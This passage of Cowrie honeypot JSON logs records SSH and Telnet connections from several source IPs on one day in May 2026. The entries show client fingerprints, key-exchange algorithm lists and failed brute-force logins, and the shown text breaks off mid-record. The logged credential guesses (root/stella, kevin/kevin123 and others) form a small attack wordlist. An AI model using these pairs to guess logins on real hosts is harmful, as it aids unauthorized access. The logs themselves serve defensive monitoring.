{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:13.981834Z","src_ip":"45.153.34.97","session":"8d52e9f50a56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36670,"dst_ip":"159.203.135.109","dst_port":22,"session":"c15d9030661e","protocol":"ssh","message":"New connection: 103.149.28.157:36670 (159.203.135.109:22) [session: c15d9030661e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:15.608274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:15.613578Z","src_ip":"103.149.28.157","session":"c15d9030661e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:15.860944Z","src_ip":"103.149.28.157","session":"c15d9030661e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stella","message":"login attempt [root/stella] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:16.602357Z","src_ip":"103.149.28.157","session":"c15d9030661e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":56808,"dst_ip":"10.17.0.5","dst_port":22,"session":"824db63f01e2","protocol":"ssh","message":"New connection: 45.153.34.97:56808 (10.17.0.5:22) [session: 824db63f01e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:16.720582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:16.725806Z","src_ip":"45.153.34.97","session":"824db63f01e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:16.809182Z","src_ip":"45.153.34.97","session":"824db63f01e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.89411497116089,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:16.894470Z","src_ip":"152.42.224.71","session":"71f3219342f7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ankur","password":"ankur","message":"login attempt [ankur/ankur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:17.087189Z","src_ip":"45.153.34.97","session":"824db63f01e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:17.852736Z","src_ip":"103.149.28.157","session":"c15d9030661e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56794,"dst_ip":"10.17.0.5","dst_port":23,"session":"7901e9c53395","protocol":"telnet","message":"New connection: 152.42.224.71:56794 (10.17.0.5:23) [session: 7901e9c53395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:18.079185Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:18.189960Z","src_ip":"45.153.34.97","session":"824db63f01e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":11324,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc67b21d868f","protocol":"ssh","message":"New connection: 45.153.34.97:11324 (10.17.0.5:22) [session: bc67b21d868f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:20.813645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:20.818757Z","src_ip":"45.153.34.97","session":"bc67b21d868f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:20.911154Z","src_ip":"45.153.34.97","session":"bc67b21d868f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eva","password":"eva","message":"login attempt [eva/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:21.184074Z","src_ip":"45.153.34.97","session":"bc67b21d868f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56818,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ee30b74bb7","protocol":"telnet","message":"New connection: 152.42.224.71:56818 (10.17.0.5:23) [session: 27ee30b74bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:21.895369Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:22.282037Z","src_ip":"45.153.34.97","session":"bc67b21d868f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":11350,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c044117d879","protocol":"ssh","message":"New connection: 45.153.34.97:11350 (10.17.0.5:22) [session: 9c044117d879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:24.816358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:24.821233Z","src_ip":"45.153.34.97","session":"9c044117d879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.032115Z","src_ip":"45.153.34.97","session":"9c044117d879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56824,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ca44fb3cc5","protocol":"telnet","message":"New connection: 152.42.224.71:56824 (10.17.0.5:23) [session: 21ca44fb3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.140376Z"}
{"eventid":"cowrie.session.closed","duration":63.7071099281311,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.477470Z","src_ip":"152.42.224.71","session":"7734cad9a081","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin123","message":"login attempt [kevin/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.773181Z","src_ip":"45.153.34.97","session":"9c044117d879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":38114,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de97b1ba390","protocol":"ssh","message":"New connection: 181.47.9.103:38114 (10.17.0.5:22) [session: 9de97b1ba390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.830129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.835643Z","src_ip":"181.47.9.103","session":"9de97b1ba390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:25.980519Z","src_ip":"181.47.9.103","session":"9de97b1ba390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4g5","message":"login attempt [root/a1s2d3f4g5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:26.579878Z","src_ip":"181.47.9.103","session":"9de97b1ba390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":41720,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1738433b312","protocol":"ssh","message":"New connection: 46.19.67.181:41720 (159.203.135.109:22) [session: b1738433b312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:26.764045Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:26.924128Z","src_ip":"45.153.34.97","session":"9c044117d879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:27.727234Z","src_ip":"181.47.9.103","session":"9de97b1ba390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":55346,"dst_ip":"10.17.0.5","dst_port":22,"session":"0568f0e392fb","protocol":"ssh","message":"New connection: 159.65.8.74:55346 (10.17.0.5:22) [session: 0568f0e392fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:28.734147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:28.739693Z","src_ip":"159.65.8.74","session":"0568f0e392fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:28.986670Z","src_ip":"159.65.8.74","session":"0568f0e392fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":11384,"dst_ip":"10.17.0.5","dst_port":22,"session":"344e0dfe96ba","protocol":"ssh","message":"New connection: 45.153.34.97:11384 (10.17.0.5:22) [session: 344e0dfe96ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:29.146317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:29.151586Z","src_ip":"45.153.34.97","session":"344e0dfe96ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:29.234360Z","src_ip":"45.153.34.97","session":"344e0dfe96ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arman","password":"arman","message":"login attempt [arman/arman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:29.487408Z","src_ip":"45.153.34.97","session":"344e0dfe96ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234QWER","message":"login attempt [root/!@#$1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:30.007869Z","src_ip":"159.65.8.74","session":"0568f0e392fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.7672278881073,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:30.496640Z","src_ip":"152.42.224.71","session":"6e778514651d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:30.601553Z","src_ip":"45.153.34.97","session":"344e0dfe96ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:31.278821Z","src_ip":"159.65.8.74","session":"0568f0e392fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19484,"dst_ip":"10.17.0.5","dst_port":22,"session":"62f63e2732a2","protocol":"ssh","message":"New connection: 45.153.34.97:19484 (10.17.0.5:22) [session: 62f63e2732a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:33.188188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:33.193256Z","src_ip":"45.153.34.97","session":"62f63e2732a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2